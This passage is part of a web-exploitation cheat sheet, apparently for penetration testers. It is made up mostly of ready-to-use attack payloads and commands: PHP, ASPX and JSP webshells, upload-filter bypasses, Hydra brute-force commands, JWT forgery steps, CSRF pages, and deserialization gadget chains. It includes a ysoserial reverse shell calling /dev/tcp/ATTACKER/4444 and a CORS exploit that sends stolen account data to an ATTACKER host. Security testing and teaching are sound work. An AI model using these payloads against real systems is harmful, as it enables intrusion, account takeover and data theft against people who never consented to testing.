# URLs:     /profile/1337   /invoice/452   /file?id=99
# Params:   ?user_id=1337   ?account=452
# Headers:  X-User-Id: 1337
# Cookies:  session contains user ID
# Body:     {"user_id": 1337}

# ==========================================
# HORIZONTAL IDOR (access other users)
# ==========================================

# Try changing ID values
GET /api/user/1337  → Change to → GET /api/user/1338

# Encoded IDs — decode first!
# Base64: bWUK = "me\n" → try encoding other values
# Hash: MD5/SHA1 of ID → try other users' hashes
# UUID: Try to enumerate or predict

# ==========================================
# VERTICAL IDOR (access higher privilege data)
# ==========================================

# Try admin endpoints with user token
GET /admin/users  (with your low-priv session)
GET /api/admin/dashboard

# ==========================================
# MASS IDOR TESTING (ffuf)
# ==========================================

# Enumerate user IDs 1-10000
ffuf -u "http://target.com/api/user/FUZZ" \
    -w <(seq 1 10000) \
    -b "session=YOUR_COOKIE" \
    -fc 404,403 \
    -mc 200 \
    -t 50

# Compare responses (Burp Intruder)
# 1. Send request to Intruder
# 2. Set §id§ as position
# 3. Numbers payload: 1-1000
# 4. Compare response lengths → different length = different data!

# ==========================================
# AUTORIZE (Burp Extension) — Best for IDOR
# ==========================================

# 1. Install Autorize from BApp Store
# 2. Login as low-priv user → copy session cookie to Autorize
# 3. Browse as admin → Autorize auto-replays every request with low-priv cookie
# 4. Red = accessible with low-priv (IDOR!)
# Green = properly restricted

10. File Upload Vulnerabilities

Upload malicious files → webshell → RCE.

Manual Testing

# ==========================================
# WEBSHELL PAYLOADS
# ==========================================

# PHP webshell (simple)
<?php system($_GET['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php eval($_POST['cmd']); ?>

# PHP webshell (more compatible)
<?php $c=$_REQUEST['cmd'];echo `$c`; ?>

# PHP reverse shell (use PentestMonkey's)
# Download: https://github.com/pentestmonkey/php-reverse-shell

# ASPX webshell (IIS)
<%@ Page Language="C#"%>
<%Response.Write(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["cmd"]){RedirectStandardOutput=true}}.Start()?new System.IO.StreamReader(new System.Diagnostics.Process(){StartInfo=new System.Diagnostics.ProcessStartInfo("cmd","/c "+Request["cmd"]){RedirectStandardOutput=true}}.Start().StandardOutput.BaseStream).ReadToEnd():"");%>

# JSP webshell (Tomcat)
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

# ==========================================
# EXTENSION FILTER BYPASS
# ==========================================

# Try alternate PHP extensions
.phtml
.php2 .php3 .php4 .php5 .php7
.pht
.shtml
.pHp (case variation)
.PhP
.PHP

# Double extension
shell.php.jpg
shell.jpg.php
shell.php.png

# Null byte (old PHP)
shell.php%00.jpg
shell.php\x00.jpg

# Content-Type mismatch (change header, keep extension)
# Change: Content-Type: application/x-php
# To:     Content-Type: image/jpeg
# But keep filename: shell.php

# ==========================================
# MAGIC BYTES BYPASS
# ==========================================

# Add JPEG magic bytes before PHP code
# Add: FF D8 FF E0 as first bytes
printf '\xff\xd8\xff\xe0' > shell.php
cat shell.php.txt >> shell.php

# PNG magic bytes
printf '\x89PNG\r\n\x1a\n' > shell.php

# GIF header
echo "GIF89a" > shell.php
echo "<?php system(\$_GET['cmd']); ?>" >> shell.php

# ==========================================
# .HTACCESS BYPASS
# ==========================================

# Upload .htaccess to allow PHP in upload dir
# .htaccess content:
AddType application/x-httpd-php .jpg
# Then upload shell.jpg and execute it!

# OR:
SetHandler application/x-httpd-php
# (Makes ALL files in dir execute as PHP)

# ==========================================
# SVG XSS
# ==========================================

# Upload SVG with XSS payload
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.cookie)</script>
</svg>

# ==========================================
# ZIP SLIP (Archive extraction RCE)
# ==========================================

# Create ZIP with path traversal
mkdir -p evil; echo "<?php system(\$_GET['c']); ?>" > evil/shell.php
zip --symlinks evil.zip ../../../../var/www/html/shell.php

# OR use evilarc:
python3 evilarc.py shell.php -o unix -d 5 -p var/www/html/

11. Authentication & Session Attacks

# ==========================================
# CREDENTIAL BRUTE FORCE — Hydra ★★★
# ==========================================

# HTTP form brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt target.com \
    http-post-form "/login:username=^USER^&password=^PASS^:Invalid credentials"

# HTTP basic auth
hydra -L users.txt -P pass.txt target.com http-get /admin/

# Custom header based login
hydra -l admin -P rockyou.txt -s 443 -S target.com \
    https-post-form "/login:user=^USER^&pass=^PASS^:Wrong password"

# SSH
hydra -L users.txt -P rockyou.txt ssh://target.com -t 4

# FTP
hydra -L users.txt -P rockyou.txt ftp://target.com

# RDP
hydra -L users.txt -P rockyou.txt rdp://target.com

# SMB
hydra -L users.txt -P rockyou.txt smb://target.com

# ==========================================
# CREDENTIAL BRUTE FORCE — Medusa
# ==========================================

medusa -h target.com -U users.txt -P rockyou.txt -M http -m DIR:/login -m FORM:user=^USER^&pass=^PASS^ -m DENY-SIGNAL:"Invalid"

# ==========================================
# WEB DIRECTORY / ADMIN PANEL BRUTE — Gobuster
# ==========================================

gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/common.txt
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,html,txt

# ==========================================
# SESSION TOKEN ANALYSIS
# ==========================================

# Check cookie flags
# Should have:
# HttpOnly → prevents JS cookie theft (XSS protection)
# Secure   → HTTPS only
# SameSite → CSRF protection

# Weak session token detection
# Decode base64 session cookies:
echo "SESSION_TOKEN" | base64 -d

# Decode JWT:
echo "HEADER.PAYLOAD.SIG" | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool

# ==========================================
# DEFAULT CREDENTIALS (try always!)
# ==========================================

admin:admin
admin:password
admin:admin123
admin:12345
administrator:administrator
root:root
root:toor
guest:guest
test:test
# Check: https://github.com/ihebski/DefaultCreds-cheat-sheet

# Tool:
# cred-defaultcreds
pip3 install defaultcreds-cheat-sheet
creds search tomcat
creds search jenkins
creds search cisco

12. JWT Attacks

Forge/manipulate JSON Web Tokens → bypass authentication.

# ==========================================
# JWT STRUCTURE
# ==========================================

# header.payload.signature (base64url encoded)
# Decode:
echo "HEADER" | base64 -d
echo "PAYLOAD" | base64 -d

# ==========================================
# ATTACK 1: alg:none (no signature check!)
# ==========================================

# Change header alg to "none"
# Original: {"alg":"HS256","typ":"JWT"}
# Modified: {"alg":"none","typ":"JWT"}

# Forge payload (e.g., change "user":"alice" to "user":"admin")
# Remove signature entirely (keep trailing dot!)
# Final: HEADER.PAYLOAD.

# ==========================================
# ATTACK 2: HMAC → RSA confusion (RS256 → HS256)
# ==========================================

# If server uses RS256 (asymmetric), try switching to HS256
# Sign with PUBLIC KEY as HMAC secret → server thinks it's HS256
# Tool: jwt_tool

# ==========================================
# ATTACK 3: Weak secret brute force
# ==========================================

hashcat -a 0 -m 16500 <JWT_TOKEN> /usr/share/wordlists/rockyou.txt

# ==========================================
# ATTACK 4: kid header injection
# ==========================================

# "kid" points to signing key file — try path traversal!
{"alg":"HS256","kid":"/etc/passwd","typ":"JWT"}
# Sign with content of /etc/passwd as secret

# SQL in kid
{"alg":"HS256","kid":"' UNION SELECT 'secret'--","typ":"JWT"}
# Sign with "secret"

# ==========================================
# jwt_tool ★★★
# ==========================================

# Install
git clone https://github.com/ticarpi/jwt_tool && cd jwt_tool
pip3 install -r requirements.txt

# Decode token
python3 jwt_tool.py <TOKEN>

# Tamper payload
python3 jwt_tool.py <TOKEN> -T            # Interactive tampering

# alg:none attack
python3 jwt_tool.py <TOKEN> -X a

# HS/RS confusion attack (with public key)
python3 jwt_tool.py <TOKEN> -X k -pk public.pem

# Brute force secret
python3 jwt_tool.py <TOKEN> -C -d rockyou.txt

# Sign with known secret
python3 jwt_tool.py <TOKEN> -S hs256 -p "secretkey"

# kid path traversal
python3 jwt_tool.py <TOKEN> -T  # Modify kid field manually

# Scan for all vulnerabilities
python3 jwt_tool.py <TOKEN> -M at -t "http://target.com/api/userinfo" -rh "Authorization: Bearer TOKEN"

13. CSRF

Trick authenticated user's browser into making unwanted requests → state changes on their behalf.

<!-- ==========================================
     BASIC CSRF PoC (GET-based)
========================================== -->

<img src="http://target.com/delete?account=victim_id" style="display:none">

<!-- ==========================================
     CSRF PoC (POST-based — auto-submit form)
========================================== -->

<html>
  <body onload="document.forms.submit()">
    <form action="http://target.com/change-password" method="POST">
      <input type="hidden" name="new_password" value="hacked123">
      <input type="hidden" name="confirm_password" value="hacked123">
    </form>
  </body>
</html>

<!-- ==========================================
     CSRF + JSON body
========================================== -->

<html>
  <body>
    <script>
      var xhr = new XMLHttpRequest();
      xhr.open("POST", "http://target.com/api/change-email");
      xhr.setRequestHeader("Content-Type", "text/plain");
      xhr.withCredentials = true;
      xhr.send('{"email":"attacker@evil.com"}');
    </script>
  </body>
</html>

<!-- ==========================================
     CSRF TOKEN BYPASS TECHNIQUES
========================================== -->

# 1. Remove CSRF token entirely — server may not validate!
# 2. Use another user's CSRF token (not user-specific!)
# 3. Substitute token with empty string
# 4. Try CSRF token from GET request in POST
# 5. Change POST to GET — validation may be method-specific
# 6. Change Content-Type → application/json (may bypass token check)

<!-- ==========================================
     BURP → CSRF PoC GENERATOR
========================================== -->

# Right-click any request in Burp → Engagement tools → Generate CSRF PoC
# Click "Test in browser" → Opens auto-submitting page!

14. Open Redirect

# ==========================================
# DETECTION
# ==========================================

# Look for redirect parameters
?redirect=
?url=
?next=
?return=
?returnTo=
?goto=
?forward=
?continue=
?link=

# Test
?redirect=http://evil.com
?next=//evil.com
?url=https://evil.com

# ==========================================
# FILTER BYPASS
# ==========================================

//evil.com                       # Protocol-relative
https:evil.com                   # Missing slashes
http:///evil.com                 # Triple slash
http://target.com.evil.com       # Subdomain confusion
http://target.com@evil.com       # @ bypass (goes to evil.com!)
http://evil%2ecom                # URL encoded dot
https://evil%E3%80%82com         # Unicode dot
http://169.254.169.254           # Cloud metadata (SSRF via open redirect)

# ==========================================
# OPEN REDIRECT → XSS
# ==========================================

?redirect=javascript:alert(1)
?redirect=data:text/html,<script>alert(1)</script>
?url=javascript://comment%0aalert(1)

15. HTTP Request Smuggling

# ==========================================
# CONCEPT
# ==========================================

# Front-end (CDN/LB) and back-end disagree on request boundaries
# CL.TE: Front-end uses Content-Length, Back-end uses Transfer-Encoding
# TE.CL: Front-end uses Transfer-Encoding, Back-end uses Content-Length

# ==========================================
# CL.TE BASIC PAYLOAD
# ==========================================

POST / HTTP/1.1
Host: target.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

# ==========================================
# TE.CL BASIC PAYLOAD
# ==========================================

POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

# ==========================================
# TOOL: HTTP Request Smuggler (Burp)
# ==========================================

# Install: BApp Store → HTTP Request Smuggler
# Right-click request → Extensions → HTTP Request Smuggler → Smuggle Probe

# ==========================================
# TOOL: smuggler.py
# ==========================================

git clone https://github.com/defparam/smuggler
python3 smuggler.py -u "https://target.com/"
python3 smuggler.py -u "https://target.com/" -m POST

16. GraphQL Attacks

# ==========================================
# DISCOVERY
# ==========================================

# Common GraphQL endpoints
/graphql
/api/graphql
/graphiql
/v1/graphql
/playground
/console

# ==========================================
# INTROSPECTION (enumerate schema)
# ==========================================

# Introspection query — dumps entire schema!
curl -X POST http://target.com/graphql \
    -H "Content-Type: application/json" \
    -d '{"query":"{__schema{types{name fields{name}}}}"}'

# Get all queries + mutations
curl -X POST http://target.com/graphql \
    -d '{"query":"{__schema{queryType{fields{name description}} mutationType{fields{name}}}}"}'

# ==========================================
# ATTACKS
# ==========================================

# Field suggestion (find hidden fields — typo triggers suggestion!)
{"query":"{ user { passsword } }"}     # Typo → server suggests "password"!

# GraphQL injection (SQLi in args)
{"query":"{ user(id: \"1 OR 1=1\") { name email password } }"}

# Batch queries (brute force + DoS)
[{"query":"{ login(user:\"admin\",pass:\"password1\") }"},
 {"query":"{ login(user:\"admin\",pass:\"password2\") }"},
 {"query":"{ login(user:\"admin\",pass:\"password3\") }"}]

# IDOR via GraphQL
{"query":"{ user(id: 2) { email password creditCard } }"}

# ==========================================
# TOOL: GraphQL Raider (Burp Extension)
# ==========================================

# Install from BApp Store → GraphQL Raider
# Automatically extracts + tests all GraphQL operations

# ==========================================
# TOOL: graphw00f (fingerprint + attack)
# ==========================================

pip3 install graphw00f
graphw00f -d -t http://target.com      # Fingerprint engine
graphw00f -f -t http://target.com      # Attack fingerprint

17. NoSQL Injection

# ==========================================
# MONGODB INJECTION
# ==========================================

# Basic bypass (JSON body)
{"username": {"$gt": ""}, "password": {"$gt": ""}}

# Operator injections
{"username": "admin", "password": {"$ne": "wrong"}}   # $ne = not equal
{"username": {"$regex": "admin"}, "password": {"$gt": ""}}

# URL parameter injection
?user[$ne]=foo&pass[$ne]=bar
?user[$regex]=.*&pass[$gt]=

# ==========================================
# TOOL: NoSQLMap ★★
# ==========================================

git clone https://github.com/codingo/NoSQLMap && cd NoSQLMap
python3 nosqlmap.py

# Interactive menu:
# 1. Set target (IP, port, URI)
# 2. Set HTTP verb (GET/POST)
# 3. Attack options → enumerate, extract, etc.

# ==========================================
# TOOL: nosql-injection-fuzzer
# ==========================================

# Test with ffuf using NoSQL payloads
ffuf -u "http://target.com/login" \
    -X POST \
    -d '{"username":"FUZZ","password":"test"}' \
    -H "Content-Type: application/json" \
    -w /usr/share/seclists/Fuzzing/Databases/NoSQL.txt

18. Deserialization Attacks

# ==========================================
# JAVA DESERIALIZATION
# ==========================================

# Detect: Look for base64 blobs starting with:
# rO0AB → Java serialized object (base64)
# Hex: AC ED 00 05 → Java serialized header

# ==========================================
# TOOL: ysoserial ★★★
# ==========================================

# Download: https://github.com/frohoff/ysoserial

# Generate payload for various gadget chains:
java -jar ysoserial.jar CommonsCollections1 'id'
java -jar ysoserial.jar CommonsCollections6 'id' | base64
java -jar ysoserial.jar Spring1 'id'
java -jar ysoserial.jar URLDNS 'http://ATTACKER/check'   # Blind detection (DNS)

# Common gadget chains:
# CommonsCollections1-7  → Apache Commons
# Spring1, Spring2       → Spring Framework
# Hibernate1             → Hibernate
# BeanShell1             → BeanShell
# Groovy1                → Groovy
# URLDNS                 → DNS only (safe test)

# Reverse shell payload:
java -jar ysoserial.jar CommonsCollections6 'bash -c {echo,ENCODED_CMD}|{base64,-d}|bash'

# Encode command:
echo "bash -i >& /dev/tcp/ATTACKER/4444 0>&1" | base64

# ==========================================
# PHP DESERIALIZATION
# ==========================================

# Detect: serialized PHP starts with:
# O: → Object
# a: → Array
# s: → String
# i: → Integer

# Example vulnerable code:
# $data = unserialize($_COOKIE['data']);

# Create malicious PHP object:
O:8:"UserData":1:{s:4:"role";s:5:"admin";}

# Magic methods exploited:
# __wakeup() → called on unserialize
# __destruct() → called on object destruction
# __toString() → called when cast to string

# ==========================================
# TOOL: PHPGGC (PHP gadget chains)
# ==========================================

git clone https://github.com/ambionics/phpggc
php phpggc -l                         # List all gadget chains
php phpggc Laravel/RCE1 system id     # Laravel RCE
php phpggc Symfony/RCE4 system id | base64
php phpggc --json Monolog/RCE1 system id  # JSON encoded

# ==========================================
# .NET DESERIALIZATION
# ==========================================

# Detect: AAEAAAD (base64 of .NET BinaryFormatter header)

# TOOL: ysoserial.net
# https://github.com/pwntester/ysoserial.net

ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -o base64 -c "calc"
ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "cmd /c whoami"
ysoserial.exe -f ViewState -g TypeConfuseDelegate -o base64 -c "whoami"

19. CORS Misconfiguration

# ==========================================
# DETECTION
# ==========================================

# Send request with Origin header
curl -H "Origin: http://evil.com" -I http://target.com/api/userdata

# If response contains:
# Access-Control-Allow-Origin: http://evil.com        → VULNERABLE!
# Access-Control-Allow-Credentials: true              → Even worse!

# ==========================================
# EXPLOITATION
# ==========================================

# Host on attacker server:
<html>
  <body>
    <script>
      fetch("http://target.com/api/account", {
        credentials: "include"
      })
      .then(r => r.text())
      .then(data => {
        fetch("http://ATTACKER/steal?data=" + btoa(data));
      });
    </script>
  </body>
</html>

20. Web Cache Poisoning

# ==========================================
# CONCEPT
# ==========================================

# Cache key: URL + Host (typically)
# Inject unkeyed input → cached → served to other users

# ==========================================
# DETECTION (Param Miner — Burp)
# ==========================================

# Install Param Miner from BApp Store
# Right-click request → Extensions → Param Miner → Guess headers

# Look for headers that change response but aren't in cache key:
X-Forwarded-Host: evil.com
X-Forwarded-For: ATTACKER_IP
X-Host: evil.com
X-Forwarded-Scheme: http

# ==========================================
# BASIC EXPLOIT
# ==========================================

GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com

# If response reflects evil.com (e.g., in <script src="//>
# And response gets cached → ALL users get malicious response!

21. Directory Traversal

# ==========================================
# DETECTION
# ==========================================

?file=../../../etc/passwd
?path=....//....//etc/passwd
?doc=%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
?page=..%252f..%252f..%252fetc%252fpasswd   # Double URL encode

# ==========================================
# TOOL: DotDotPwn ★★
# ==========================================

# Install
sudo apt install dotdotpwn

# HTTP mode
dotdotpwn -m http -h target.com -u "http://target.com/page.php?file=TRAVERSAL"

# File mode (test specific file)
dotdotpwn -m http -h target.com -u "http://target.com/page.php?file=TRAVERSAL" -f /etc/passwd

# Fuzz with SecLists + ffuf
ffuf -u "http://target.com/page.php?file=FUZZ" \
    -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
    -fs <normal_size>

22. Master Cheat Sheet

╔══════════════════════════════════════════════════════════════════╗
║ WEB VULN — MASTER CHEAT SHEET                                    ║
╠════════════╦══════════════════════╦══════════════════════════════╣
║ VULN       ║ DETECT               ║ PRIMARY TOOL                 ║
╠════════════╬══════════════════════╬══════════════════════════════╣
║ SQLi       ║ ' → DB error         ║ sqlmap -r req.txt            ║
║ XSS        ║ {{7*7}} / <script>   ║ XSStrike / dalfox            ║
║ LFI        ║ ../etc/passwd        ║ ffuf + LFI list              ║
║ RCE/CMDi   ║ ;id / &&whoami       ║ commix --os-shell            ║
║ SSRF       ║ url=169.254...       ║ SSRFmap / manual             ║
║ SSTI       ║ {{7*7}} → 49         ║ sstimap --os-shell           ║
║ XXE        ║ XML input            ║ Burp Repeater                ║
║ IDOR       ║ ID increment         ║ Burp Intruder / Autorize     ║
║ Upload     ║ File forms           ║ Manual bypass                ║
║ JWT        ║ Token in header      ║ jwt_tool -X a                ║
║ CSRF       ║ No CSRF token        ║ Burp CSRF PoC                ║
║ GraphQL    ║ /graphql             ║ Introspection                ║
║ NoSQLi     ║ {$ne:""}             ║ NoSQLMap                     ║
║ Deserial   ║ rO0AB blob           ║ ysoserial / phpggc           ║
╚════════════╩══════════════════════╩══════════════════════════════╝

TESTING ORDER (every target):

Recon → whatweb, nikto, nmap --script http-*
Crawl → Burp Spider / ffuf / feroxbuster
Param hunt → Param Miner (Burp)
SQLi → sqlmap -r req.txt --batch
XSS → XSStrike / dalfox
Auth test → Default creds, brute force (Hydra)
IDOR → Autorize (Burp) + manual ID manipulation
File upload → Try all extension bypasses
JWT → jwt_tool decode + attack
SSTI → {{7*7}} in every input field
SSRF → Try URL params → 169.254.169.254
XXE → Any XML input

WORDLISTS (SecLists is your bible):
/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
/usr/share/seclists/Discovery/Web-Content/raft-large-words.txt
/usr/share/seclists/Discovery/Web-Content/common.txt
/usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
/usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt
/usr/share/seclists/Passwords/Default-Credentials/default-passwords.csv
/usr/share/wordlists/rockyou.txt

REVERSE SHELL LISTENER:
nc -lvnp 4444 # Netcat
rlwrap nc -lvnp 4444 # With readline (arrow keys!)
pwncat-cs -lp 4444 # Best! Auto-upgrade + file transfer

UPGRADE SHELL TO TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo; fg
export TERM=xterm SHELL=bash

Web Vulnerability Exploitation